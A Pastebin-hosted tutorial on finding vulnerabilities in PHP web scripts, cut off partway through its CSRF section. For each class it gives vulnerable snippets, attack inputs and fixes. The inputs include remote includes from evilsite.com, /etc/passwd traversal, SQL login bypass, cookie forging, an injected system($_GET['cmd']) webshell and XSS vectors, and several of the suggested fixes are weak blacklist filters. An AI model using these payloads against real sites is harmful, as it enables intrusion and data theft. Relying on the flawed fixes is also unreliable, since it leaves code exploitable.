Advertisement
aaka

How to Find vulnerabilities in PHP scripts FULL ( with examp

Mar 16th, 2015
500
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 31.73 KB | None | 0 0
  1. How to Find vulnerabilities in PHP scripts FULL ( with examples )
  2.  
  3.  
  4. Contents :
  5.  
  6. 1) About
  7. 2) Some stuff
  8. 3) Remote File Inclusion
  9. 3.0 - Basic example
  10. 3.1 - Simple example
  11. 3.2 - How to fix
  12. 4) Local File Inclusion
  13. 4.0 - Basic example
  14. 4.1 - Simple example
  15. 4.2 - How to fix
  16. 5) Local File Disclosure/Download
  17. 5.0 - Basic example
  18. 5.1 - Simple example
  19. 5.2 - How to fix
  20. 6) SQL Injection
  21. 6.0 - Basic example
  22. 6.1 - Simple example
  23. 6.2 - SQL Login Bypass
  24. 6.3 - How to fix
  25. 7) Insecure Cookie Handling
  26. 7.0 - Basic example
  27. 7.1 - Simple example
  28. 7.2 - How to fix
  29. 8) Remote Command Execution
  30. 8.0 - Basic example
  31. 8.1 - Simple example
  32. 8.2 - Advanced example
  33. 8.3 - How to fix
  34. 9) Remote Code Execution
  35. 9.0 - Basic example
  36. 9.1 - Simple example
  37. 9.2 - How to fix
  38. 10) Cross-Site Scripting
  39. 10.0 - Basic example
  40. 10.1 - Another example
  41. 10.2 - Simple example
  42. 10.3 - How to fix
  43. 11) Authentication Bypass
  44. 11.0 - Basic example
  45. 11.1 - Via login variable
  46. 11.2 - Unprotected Admin CP
  47. 11.3 - How to fix
  48. 12) Insecure Permissions
  49. 12.0 - Basic example
  50. 12.1 - Read the users/passwords
  51. 12.2 - Download backups
  52. 12.3 - INC files
  53. 12.4 - How to fix
  54. 13) Cross Site Request Forgery
  55. 13.0 - Basic example
  56. 13.1 - Simple example
  57. 13.2 - How to fix
  58. 14) Shoutz
  59.  
  60.  
  61. 1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
  62. how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
  63. examples without the basic example of each category was founded in different scripts.
  64.  
  65.  
  66. 2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
  67. You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
  68. to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
  69. configuration I use and why :
  70.  
  71. safe_mode = off ( a lot of shit cannot be done with this on )
  72. disabled_functions = N/A ( no one,we want all )
  73. register_globals = on ( we can set variables by request )
  74. allow_url_include = on ( for lfi/rfi )
  75. allow_url_fopen = on ( for lfi/rfi )
  76. magic_quotes_gpc = off ( this will escape ' " \ and NUL's with a backslash and we don't want that )
  77. short_tag_open = on ( some scripts are using short tags,better on )
  78. file_uploads = on ( we want to upload )
  79. display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
  80.  
  81. How to proceed : First,create a database to be used by different scripts.Install the script on
  82. localhost and start the audit over the source code.If you found something open the web browser and
  83. test it,maybe you are wrong.
  84.  
  85.  
  86. 3) Remote File Inclusion
  87.  
  88.  
  89. - Tips : You can use the NULLBYTE and ? trick.
  90. You can use HTTPS and FTP to bypass filters ( http filtered )
  91.  
  92.  
  93. In PHP is 4 functions through you can include code.
  94.  
  95. require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
  96. require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
  97. include - includes and evaluates the specified file.
  98. include_once - includes and evaluates the specified file during the execution of the script.
  99.  
  100.  
  101. 3.0 - Basic example
  102.  
  103.  
  104. - Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
  105. you can use "https" or "ftp".
  106.  
  107. - Code snippet from test.php
  108.  
  109. -----------------------------------------------
  110. <?php
  111. $pagina=$_GET['pagina'];
  112. include $pagina;
  113. ?>
  114. -----------------------------------------------
  115.  
  116. - If we access the page we got some errors and some warnings( not pasted ) :
  117.  
  118. Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2
  119.  
  120. - We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :
  121.  
  122. http://127.0.0.1/tes.../evilscript.txt
  123.  
  124. Now I will show why some people use ? and after the link to the evil script.
  125.  
  126. # The ""
  127.  
  128. - Code snippet from test.php
  129.  
  130. -----------------------------------------------
  131. <?php
  132. $pagina=$_GET['pagina'];
  133. include $pagina.'.php';
  134. ?>
  135. -----------------------------------------------
  136.  
  137. - So if we will request
  138.  
  139. http://127.0.0.1/tes.../evilscript.txt
  140.  
  141. Will not work because the script will try to include http://evilsite.com/evilscript.txt.php
  142.  
  143. So we will add a NULLBYTE ( ) and all the shit after nullbyte will not be taken in
  144. consideration.Example :
  145.  
  146. http://127.0.0.1/tes.../evilscript.txt
  147.  
  148. The script will successfully include our evilscript and will throw to junk the things
  149. after the nullbyte.
  150.  
  151. # The "?"
  152.  
  153. - Code snippet from test.php
  154.  
  155. -----------------------------------------------
  156. <?php
  157. $pagina=$_GET['pagina'];
  158. include $pagina.'logged=1';
  159. ?>
  160. -----------------------------------------------
  161.  
  162. And the logged=1 will become like a variable.But better use nullbyte.Example :
  163.  
  164. http://127.0.0.1/tes...pt.txt?logged=1
  165.  
  166. The evilscript will be included succesfully.
  167.  
  168.  
  169. 3.1 - Simple example
  170.  
  171.  
  172. Now an example from a script.
  173.  
  174. - Code snippet from index.php
  175.  
  176. ----------------------------------------------------
  177. if (isset($_REQUEST["main_content"])){
  178. $main_content = $_REQUEST["main_content"];
  179. } else if (isset($_SESSION["main_content"])){
  180. $main_content = $_SESSION["main_content"];
  181. }
  182. .......................etc..................
  183. ob_start();
  184. require_once($main_content);
  185. ----------------------------------------------------
  186.  
  187. We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
  188. set any value that he want. Below the "main_content" variable is include.So if we make the
  189. following request :
  190.  
  191. http://127.0.0.1/ind.../evilscript.txt
  192.  
  193. Our evil script will be successfully included.
  194.  
  195.  
  196. 3.2 - How to fix
  197.  
  198.  
  199. Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
  200. Another way : filter "http" , "https" , "ftp" and "smb".
  201.  
  202.  
  203. 4) Local File Inclusion
  204.  
  205.  
  206. - Tips : You can use the NULLBYTE and ? trick.
  207. ../ mean a directory up
  208. On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).
  209.  
  210. The same functions which let you to include (include,include_once,require,require_once) .
  211.  
  212.  
  213. 4.0 - Basic example
  214.  
  215.  
  216. - Code snippet from test.php
  217.  
  218. -----------------------------------
  219. <?php
  220. $pagina=$_GET['pagina'];
  221. include '/pages/'.$pagina;
  222. ?>
  223. -----------------------------------
  224.  
  225. Now,we can not include our script because we can not include remote files.We can include only
  226. local files as you see.So if we make the following request :
  227.  
  228. http://127.0.0.1/tes..../../etc/passwd
  229.  
  230. The script will include "/pages/../../../../../../etc/passwd" successfully.
  231.  
  232. You can use the and ? .The same story.
  233.  
  234.  
  235. 4.1 - Simple example
  236.  
  237.  
  238. - Code snippet from install/install.php
  239.  
  240. -------------------------------------
  241. if(empty($_GET["url"]))
  242. $url = 'step_welcome.php';
  243. else
  244. $url = $_GET["url"];
  245. .............etc.............
  246. <p><? include('step/'.$url) ?></p>
  247. -------------------------------------
  248.  
  249. We can see that "url" variable is injectable.If the "url" variable is not set
  250. (is empty) the script will include "step_welcome.php" else will include the
  251. variable set by the attacker.
  252.  
  253. So if we do the following request :
  254.  
  255. http://127.0.0.1/ins..../../etc/passwd
  256.  
  257. The "etc/passwd" file will be succesfully included.
  258.  
  259.  
  260. 4.2 - How to fix
  261.  
  262.  
  263. Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
  264. Another way : Filter "/" , "\" and "." .
  265.  
  266. 5) Local File Disclosure/Download
  267.  
  268.  
  269. - Tips : Through this vulnerability you can read the content of files,not include.
  270.  
  271. Some functions which let you to read files :
  272.  
  273. file_get_contents ? Reads entire file into a string
  274. readfile ? Outputs a file
  275. file ? Reads entire file into an array
  276. fopen ? Opens file or URL
  277. highlight_file ? Syntax highlighting of a file.Prints out or returns a syntax
  278. highlighted version of the code contained in filename using the
  279. colors defined in the built-in syntax highlighter for PHP.
  280. show_source ? Alias of highlight_file()
  281.  
  282.  
  283. 5.0 - Basic example
  284.  
  285.  
  286. - Code snippet from test.php
  287.  
  288. --------------------------------------
  289. <?php
  290. $pagina=$_GET['pagina'];
  291. readfile($pagina);
  292. ?>
  293. --------------------------------------
  294.  
  295. The readfile() function will read the content of the specified file.So if we do the following request :
  296.  
  297. http://127.0.0.1/tes..../../etc/passwd
  298.  
  299. The content of etc/passwd will be outputed NOT included.
  300.  
  301.  
  302. 5.1 - Simple example
  303.  
  304.  
  305. - Code snippet from download.php
  306.  
  307. -----------------------------------------------------------------------------------
  308. $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
  309. header("Pragma: public");
  310. header("Expires: 0");
  311. header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
  312.  
  313. header("Content-Type: application/force-download");
  314. header( "Content-Disposition: attachment; filename=".basename($file));
  315.  
  316. //header( "Content-Description: File Transfer");
  317. @readfile($file);
  318. die();
  319. -----------------------------------------------------------------------------------
  320.  
  321. The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
  322. And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
  323. If we make the following request :
  324.  
  325. http://127.0.0.1/dow..../../etc/passwd
  326.  
  327. So we can succesfully read the "etc/passwd" file.
  328.  
  329.  
  330. 5.2 - How to fix
  331.  
  332.  
  333. Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
  334. Another way : Filter "/" , "\" and "." .
  335.  
  336.  
  337. 6) SQL Injection
  338.  
  339.  
  340. - Tips : If the user have file privileges you can read files.
  341. If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
  342. you can upload you code into a file.
  343.  
  344.  
  345. 6.0 - Basic example
  346.  
  347.  
  348. - Code snippet from test.php
  349.  
  350. ----------------------------------------------------------------------------------
  351. <?php
  352. $id = $_GET['id'];
  353. $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
  354. ?>
  355. ----------------------------------------------------------------------------------
  356.  
  357. The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :
  358.  
  359. http://127.0.0.1/tes...on+all+select...le('etc/pa
  360.  
  361. And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
  362. file privileges.
  363.  
  364.  
  365. 6.1 - Simple example
  366.  
  367.  
  368. - Code snippet from house/listing_view.php
  369.  
  370. -----------------------------------------------------------------------------------------------------------------------------
  371. $id = $_GET['itemnr'];
  372. require_once($home."mysqlinfo.php");
  373. $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
  374. $result = mysql_query($query);
  375. if(mysql_num_rows($result)){
  376. $r = mysql_fetch_array($result);
  377. -----------------------------------------------------------------------------------------------------------------------------
  378.  
  379. We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
  380. So we can inject our code.Lets make a request :
  381.  
  382. http://127.0.0.1/hou...on+all+select...a,email,passwo rd),5,6,7,8,9,10+fr
  383.  
  384. And we get the email and the password from the users table.
  385.  
  386.  
  387. 6.2 - SQL Injection Login Bypass
  388.  
  389.  
  390. - Code snippet from /admin/login.php
  391.  
  392. ------------------------------------------------------------------------------------------------------------------------------
  393. $postbruger = $_POST['username'];
  394. $postpass = md5($_POST['password']);
  395. $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
  396. or die("<p>" . mysql_error() . "</p>\n");
  397. ------------------------------------------------------------------------------------------------------------------------------
  398.  
  399. The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :
  400.  
  401. username : admin ' or ' 1=1
  402. password : sirgod
  403.  
  404. We logged in.Why?Look,the code will become
  405.  
  406. ---------------------------------------------------------------------------------------------------------------------------------
  407. $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
  408. ---------------------------------------------------------------------------------------------------------------------------------
  409.  
  410. Login bypassed.The username must be an existent username.
  411.  
  412.  
  413. 6.3 - How to fix
  414.  
  415.  
  416. Simple way : Don't allow special chars in variables.For numeric variables
  417. use (int) ,example $id=(int)$_GET['id'];
  418. Another way : For non-numeric variables : filter all special chars used in
  419. SQLI : - , . ( ) ' " _ + / *
  420.  
  421.  
  422. 7) Insecure Cooke Handling
  423.  
  424.  
  425. - Tips : Write the code in the URLbar,don't use a cookie editor for this.
  426.  
  427.  
  428. 7.0 - Basic example
  429.  
  430.  
  431. - Code snippet from test.php
  432.  
  433. ---------------------------------------------------------------
  434. if($_POST['password'] == $thepass) {
  435. setcookie("is_user_logged","1");
  436. } else { die("Login failed!"); }
  437. ............ etc .................
  438. if($_COOKIE['is_user_logged']=="1")
  439. { include "admin.php"; else { die('not logged'); }
  440. ---------------------------------------------------------------
  441.  
  442. Something interesting here.If we set to the "is_user_logged" variable
  443. from cookie value "1" we are logged in.Example :
  444.  
  445. javascript:document.cookie = "is_user_logged=1; path=/";
  446.  
  447. So practically we are logged in,we pass the check and we can access the admin panel.
  448.  
  449.  
  450. 7.1 - Simple example
  451.  
  452.  
  453. - Code snippet from admin.php
  454.  
  455. ----------------------------------------------------------------
  456. if ($_COOKIE[PHPMYBCAdmin] == '') {
  457. if (!$_POST[login] == 'login') {
  458. die("Please Login:<BR><form method=post><input type=password
  459. name=password><input type=hidden value=login name=login><input
  460. type=submit></form>");
  461. } elseif($_POST[password] == $bcadminpass) {
  462. setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
  463. header("Location: admin.php"); } else { die("Incorrect"); }
  464. }
  465. ----------------------------------------------------------------
  466.  
  467. Code looks exploitable.We can set a cookie value that let us to bypass the login
  468. and tell to the script that we are already logged in.Example :
  469.  
  470. javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";
  471.  
  472. What is 1246371700? Is the current time() echo'ed + 360.
  473.  
  474.  
  475. 7.2 - How to fix
  476.  
  477.  
  478. Simple way : The most simple and eficient way : use SESSIONS .
  479.  
  480.  
  481. 8) Remote Command Execution
  482.  
  483.  
  484. - Tips : If in script is used exec() you can't see the command output(but the command is executed)
  485. until the result isn't echo'ed from script.
  486. You can use AND operator ( || ) if the script execute more than one command .
  487.  
  488. In PHP are some functions that let you to execute commands :
  489.  
  490. exec ? Execute an external program
  491. passthru ? Execute an external program and display raw output
  492. Sh3ll_exec ? Execute command via Sh3ll and return the complete output as a string
  493. system ? Execute an external program and display the output
  494.  
  495.  
  496. 8.0 - Basic example
  497.  
  498. - Code snippet from test.php
  499.  
  500. ---------------------------------
  501. <?php
  502. $cmd=$_GET['cmd'];
  503. system($cmd);
  504. ?>
  505. ---------------------------------
  506.  
  507. So if we make the following request :
  508.  
  509. http://127.0.0.1/test.php?cmd=whoami
  510.  
  511. The command will be executed and the result will be outputed.
  512.  
  513.  
  514. 8.1 - Simple example
  515.  
  516.  
  517. - Code snippet from dig.php
  518.  
  519. -------------------------------------------------------------------------------------------
  520. $status = $_GET['status'];
  521. $ns = $_GET['ns'];
  522. $host = $_GET['host'];
  523. $query_type = $_GET['query_type']; // ANY, MX, A , etc.
  524. $ip = $_SERVER['REMOTE_ADDR'];
  525. $self = $_SERVER['PHP_SELF'];
  526. ........................ etc ........................
  527. $host = trim($host);
  528. $host = strtolower($host);
  529. echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
  530. echo '<pre>';
  531. system ("dig @$ns $host $query_type");
  532. -------------------------------------------------------------------------------------------
  533.  
  534. The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
  535. that he want through this variable.
  536.  
  537. Lets make a request :
  538.  
  539. http://127.0.0.1/dig...&status=digging
  540.  
  541. The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
  542. will not work of course.Lets do something a little bit tricky.We have the AND operator
  543. ( || ) and we will use it to separe the commands.Example :
  544.  
  545. http://127.0.0.1/dig...&status=digging
  546.  
  547. Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".
  548.  
  549.  
  550. 8.2 - Advanced example
  551.  
  552.  
  553. - Code snippet from add_reg.php
  554.  
  555. -------------------------------------------------------
  556. $user = $_POST['user'];
  557. $pass1 = $_POST['pass1'];
  558. $pass2 = $_POST['pass2'];
  559. $email1 = $_POST['email1'];
  560. $email2 = $_POST['email2'];
  561. $location = $_POST['location'];
  562. $url = $_POST['url'];
  563. $filename = "./sites/".$user.".php";
  564. ...................etc......................
  565. $html = "<?php
  566. \$regdate = \"$date\";
  567. \$user = \"$user\";
  568. \$pass = \"$pass1\";
  569. \$email = \"$email1\";
  570. \$location = \"$location\";
  571. \$url = \"$url\";
  572. ?>";
  573. $fp = fopen($filename, 'a+');
  574. fputs($fp, $html) or die("Could not open file!");
  575. -------------------------------------------------------
  576.  
  577. We can see that the script creates a php file in "sites" directory( ourusername.php ).
  578. The script save all the user data in that file so we can inject our evil code into one
  579. field,I choose the "location" variable.
  580.  
  581. So if we register as an user with the location (set the "location" value) :
  582.  
  583. <?php system($_GET['cmd']); ?>
  584.  
  585. the code inside sites/ourusername.php will become :
  586.  
  587. -------------------------------------------------
  588. <?php
  589. $regdate = "13 June 2009, 4:16 PM";
  590. $user = "pwned";
  591. $pass = "pwned";
  592. $email = "pwned@yahoo.com";
  593. $location = "<?php system($_GET['cmd']); ?>";
  594. $url = "http://google.ro";
  595. ?>
  596. -------------------------------------------------
  597.  
  598. So we will get an parse error.Not good.We must inject a proper code to get the result that we want.
  599.  
  600. Lets inject this code :
  601.  
  602. \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\"
  603.  
  604. So the code inside sites/ourusername.php will become :
  605.  
  606. --------------------------------------------------------------
  607. <?php
  608. $regdate = "13 June 2009, 4:16 PM";
  609. $user = "pwned";
  610. $pass = "pwned";
  611. $email = "pwned@yahoo.com";
  612. $location = "";?><?php system($_GET['cmd']);?><?php $xxx="";
  613. $url = "http://google.ro";
  614. ?>
  615. --------------------------------------------------------------
  616.  
  617. and we will have no error.Why?See the code :
  618.  
  619. $location = "";?><?php system($_GET['cmd']);?><?php $xxx="";
  620.  
  621. Lets split it :
  622.  
  623. -------------------------------
  624. $location = "";
  625. ?>
  626. <?php system($_GET['cmd']);?>
  627. <?php $xxx="";
  628. -------------------------------
  629.  
  630. We set the location value to "",close the first php tags,open the tags
  631. again,wrote our evil code,close the tags and open other and add a variable
  632. "xxx" because we dont want any error.I wrote that code because I want no
  633. error,can be modified to be small but will give some errors(will not
  634. stop us to execute commands but looks ugly).
  635.  
  636. So if we make the following request :
  637.  
  638. http://127.0.0.1/sit....php?cmd=whoami
  639.  
  640. And our command will be succesfully executed.
  641.  
  642. 8.3 - How to fix
  643.  
  644.  
  645. Simple way : Don't allow user input .
  646. Another way : Use escapeSh3llarg() and escapeSh3llcmd() functions .
  647. Example : $cmd=escapeSh3llarg($_GET'cmd']);
  648.  
  649.  
  650. 9) Remote Code Execution
  651.  
  652.  
  653. - Tips : You must inject valid PHP code including terminating statements ( ; ) .
  654.  
  655.  
  656. 9.0 - Basic example
  657.  
  658.  
  659. - Code snippet from test.php
  660.  
  661. -----------------------------------
  662. <?php
  663. $code=$_GET['code'];
  664. eval($code);
  665. ?>
  666. -----------------------------------
  667.  
  668. The "eval" function evaluate a string as PHP code.So in this case we are able to execute
  669. our PHP code.Examples :
  670.  
  671. http://127.0.0.1/tes...code=phpinfo();
  672. http://127.0.0.1/tes...system(whoami);
  673.  
  674. And we will see the output of the PHP code injected by us.
  675.  
  676.  
  677. 9.1 - Simple example
  678.  
  679.  
  680. - Code snippet from system/services/init.php
  681.  
  682. ------------------------------------------------
  683. $conf = array_merge($conf,$confweb);
  684. }
  685. @eval(stripslashes($_REQUEST['anticode']));
  686. if ( $_SERVER['HTTP_CLIENT_IP'] )
  687. ------------------------------------------------
  688.  
  689. We see that the "anticode" is requested by $_REQUEST method and the coder
  690. "secured" the input with "stripslashes" which is useless here,we don't need
  691. slashes to execute our php code only if we want to include a URL.So we can
  692. inject our PHP code.Example :
  693.  
  694. http://127.0.0.1/tes...code=phpinfo();
  695.  
  696. Great,injection done,phpinfo() result printed.No include because slashes are
  697. removed,but we can use system() or another function to execute commands.
  698.  
  699.  
  700. 9.2 - How to fix
  701.  
  702.  
  703. Simple way : Don't allow ";" and the PHP code will be invalid.
  704. Another way : Don't allow any special char like "(" or ")" etc.
  705.  
  706.  
  707. 10) Cross-Site Scripting
  708.  
  709.  
  710. - Tips : You can use alot of vectors,can try alot of bypass methods,you cand
  711. find them around the web.
  712.  
  713.  
  714. 10.0 - Basic example
  715.  
  716.  
  717. - Code snippet from test.php
  718.  
  719. ---------------------------------
  720. <?php
  721. $name=$_GET['name'];
  722. print $name;
  723. ?>
  724. ---------------------------------
  725.  
  726. The input is not filtered,an attacker can inject Javascript code.Example :
  727.  
  728. http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
  729.  
  730. A popup with XSS message will be displayed.Javascript code succesfully executed.
  731.  
  732.  
  733. 10.1 - Another example
  734.  
  735.  
  736. - Code snippet from test.php
  737.  
  738. -------------------------------------------
  739. <?php
  740. $name=addslashes($_GET['name']);
  741. print '<table name="'.$name.'"></table>';
  742. ?>
  743. -------------------------------------------
  744.  
  745. Not an advanced example,only a bit complicated.
  746.  
  747. http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode( 88,83,83)) </script>
  748.  
  749. Why this vector?We put " because we must close the " from the "name" atribut
  750. of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
  751. we want to bypass addslashes() function.Injection done.
  752.  
  753.  
  754. 10.2 - Simple example
  755.  
  756.  
  757. - Code snippet from modules.php
  758.  
  759. ---------------------------------------------------------------------------
  760. if (isset($name)) {
  761. .................... etc................
  762. } else {
  763. die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
  764. ---------------------------------------------------------------------------
  765.  
  766. The "name" variable is injectable,input is not filtered,so we can inject
  767. with ease Javascript code.Example :
  768.  
  769. http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
  770.  
  771.  
  772. 10.3 - How to fix
  773.  
  774.  
  775. Simple way : Use htmlentities() or htmlspecialchars() functions.
  776. Example : $name=htmlentities($_GET['name']);
  777. Another way : Filter all special chars used for XSS ( a lot ).
  778. The best way is the first method.
  779.  
  780.  
  781. 11) Authentication Bypass
  782.  
  783.  
  784. - Tips : Look deep in the scripts,look in the admin directories,
  785. maybe are not protected,also look for undefined variables
  786. like "login" or "auth".
  787.  
  788.  
  789. 11.0 - Basic example
  790.  
  791.  
  792. I will provide a simple example of authentication bypass
  793. via login variable.
  794.  
  795. - Code snippet from test.php
  796.  
  797. ---------------------------------
  798. <?php
  799. if ($logged==true) {
  800. echo 'Logged in.'; }
  801. else {
  802. print 'Not logged in.';
  803. }
  804. ?>
  805. ---------------------------------
  806.  
  807. Here we need register_gloabals = on . I will talk about php.ini
  808. settings a bit later in this tutorial.If we set the value of $logged
  809. variable to 1 the if condition will be true and we are logged in.
  810. Example :
  811.  
  812. http://127.0.0.1/test/php?logged=1
  813.  
  814. And we are logged in.
  815.  
  816.  
  817. 11.1 - Via login variable
  818.  
  819.  
  820. - Code snippet from login.php
  821.  
  822. ------------------------------------------------------------------------------------
  823. if ($login_ok)
  824. {
  825. $_SESSION['loggato'] = true;
  826. echo "<p>$txt_pass_ok</p>";
  827. echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
  828. <a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
  829. </a></div>";
  830. }
  831. ------------------------------------------------------------------------------------
  832.  
  833. Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
  834. tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
  835. Example :
  836.  
  837. http://127.0.0.1/login.php?login_ok=1
  838.  
  839. Now we are logged in.
  840.  
  841.  
  842. 11.2 - Unprotected Admin CP
  843.  
  844.  
  845. You couln't belive this but some PHP scrips don't protect the admin
  846. control panel : no login,no .htaccess,nothing.So we simply we go to
  847. the admin panel directory and we take the control of the website.
  848. Example :
  849.  
  850. http://127.0.0.1/admin/files.php
  851.  
  852. We accessed the admin panel with a simple request.
  853.  
  854.  
  855. 11.3 - How to fix
  856.  
  857.  
  858. - Login variable bypass : Use a REAL authentication system,don't check the
  859. login like that,use SESSION verification.Example :
  860.  
  861. if($_SESSION['logged']==1) {
  862. echo 'Logged in'; }
  863. else { echo 'Not logged in';
  864. }
  865.  
  866. - Unprotected Admin CP : Use an authentication system or use .htaccess to
  867. allow access from specific IP's or .htpasswd to
  868. request an username and a password for admin CP.
  869. Example :
  870.  
  871. .htaccess :
  872.  
  873. order deny, allow
  874. deny from all
  875. allow from 127.0.0.1
  876.  
  877. .htpasswd :
  878.  
  879. AuthUserFile /the/path/.htpasswd
  880. AuthType Basic
  881. AuthName "Admin CP"
  882. Require valid-user
  883.  
  884. and /the/path/.htpasswd
  885.  
  886. sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
  887.  
  888.  
  889. 12) Insecure Permissions
  890.  
  891.  
  892. Tips : Look deep into the files,look if the script request to be
  893. logged in to do something,maybe the script don't request.
  894. Watch out for insecure permissions,maybe you can do admin
  895. things without login.
  896.  
  897.  
  898. 12.0 - Basic example
  899.  
  900.  
  901. We are thinking at a script who let the admin to have a lookup in
  902. the users database through a file placed in /admin directory.That
  903. file is named...hmmm : db_lookup.php.
  904.  
  905. - Code snippet from admin/db_lookup.php
  906.  
  907. --------------------------------------------
  908. <?php
  909. // Lookup in the database
  910. readfile('protected/usersdb.txt');
  911. ?>
  912. --------------------------------------------
  913.  
  914. Lets think.We cannot access the "protected" directory because
  915. is .htaccess'ed.But look at this file,no logged-in check,nothing.
  916. So if we acces :
  917.  
  918. http://127.0.0.1/admin/db_lookup.php
  919.  
  920. We can see the database.Remember,this is only an example created by
  921. me,not a real one,you can find this kind of vulnerabilities in scripts.
  922.  
  923.  
  924. 12.1 - Read the users/passwords
  925.  
  926.  
  927. Oh yeah,some coders are so stupid.They save the usernames and passwords
  928. in text files,UNPROTECTED.A simple example from a script :
  929.  
  930. http://127.0.0.1/userpwd.txt
  931.  
  932. And we read the file,the usernames and passwords are there.
  933.  
  934.  
  935. 12.2 - Download Backups
  936.  
  937.  
  938. Some scripts have database backup functions,some are safe,some are not safe.
  939. I will show you a real script example :
  940.  
  941. - Code snippet from /adminpanel/phpmydump.php
  942.  
  943. --------------------------------------------------------------------------------
  944. function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
  945. $con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
  946. $db=@mysql_select_db($dbname,$con) or die("Could not select db");
  947. .............................. etc ..........................
  948. mysqlbackup($host,$dbname,$uname,$upass,$structure _only,$crlf);
  949. --------------------------------------------------------------------------------
  950.  
  951. After a lof of code the function is called.I don't pasted the entire code
  952. because is huge.I analyzed the script,no login required,no check,nothing.So
  953. if we access the file directly the download of the backup will start.Example :
  954.  
  955. http://127.0.0.1/adm...l/phpmydump.php
  956.  
  957. Now we have the database backup saved in our computer.
  958.  
  959. 12.3 - INC files
  960.  
  961.  
  962. Some scripts saves important data in INC files.Usually in INC files is PHP
  963. code containing database configuration.The INC files can be viewed in
  964. browser even they contain PHP code.So a simple request will be enough to
  965. access and read the file.Example :
  966.  
  967. http://127.0.0.1/inc/mysql.inc
  968.  
  969. Now we have the database connection details.Look deep in scripts,is more
  970. scripts who saves important data into INC files.
  971.  
  972.  
  973. 12.4 - How to fix
  974.  
  975.  
  976. - Basic example : Check if the admin is logged in,if not,redirect.
  977.  
  978. - Read the users/passwords : Save the records in a MySQL database
  979. or in a protected file/directory.
  980.  
  981. - Download Backups : Check if the admin is logged in,if not,redirect.
  982.  
  983. - INC files : Save the configuration in proper files,like .php or
  984. protect the directory with an .htaccess file.
  985.  
  986.  
  987. 13) Cross Site Request Forgery
  988.  
  989.  
  990. - Tips : Through CSRF you can change the admin password,is not
  991. so inofensive.
  992. Can be used with XSS,redirected from XSS.
  993.  
  994.  
  995. 13.0 - Basic example
  996.  
  997.  
  998. - Code snippet from test.php
  999.  
  1000. -----------------------------------------
  1001. <?php
  1002. check_auth();
  1003. if(isset($_GET['news']))
  1004. { unlink('files/news'.$news.'.txt'); }
  1005. else {
  1006. die('File not deleted'); }
  1007. ?>
  1008. -----------------------------------------
  1009.  
  1010. In this example you will see what is CSRF and how it works.In the "files"
  1011. directory are saved the news written by the author.The news are saved like
  1012. "news1.txt","news2.txt" etc. So the admin can delete the news.The news that
  1013. he want to delete will be specified in "news" variable.If he want to delete
  1014. the news1.txt the value of "news" will be "1".We cannot execute this without
  1015. admin permissions,look,the script check if we are logged in.
  1016. I will show you an example.If we request :
  1017.  
  1018. http://127.0.0.1/test.php?news=1
  1019.  
  1020. The /news/news1.txt file will be deleted.The script directly delete the file
  1021. without any notice.So we can use this to delete a file.All we need is to trick
  1022. the admin to click our evil link and the file specified by us in the "news"
  1023. variable will be deleted.
  1024.  
  1025.  
  1026. 13.1 - Simple example
  1027.  
  1028.  
  1029. In a way the codes below are included in the index.php file ,I
  1030. will not paste all the includes,there are a lot.
  1031.  
  1032. - Code snippet from includes/pages/admin.php
  1033.  
  1034. --------------------------------------------------------------------
  1035. if ($_GET['act'] == '') {
  1036. include "includes/pages/admin/home.php";
  1037. } else {
  1038. include "includes/pages/admin/" . $_GET['act'] . ".php";
  1039. --------------------------------------------------------------------
  1040.  
  1041. Here we can see how the "includes/pages/admin/members.php" is included in
  1042. this file.If "act=members" the file below will be included.
  1043.  
  1044.  
  1045. - Code snippet from includes/pages/admin/members.php
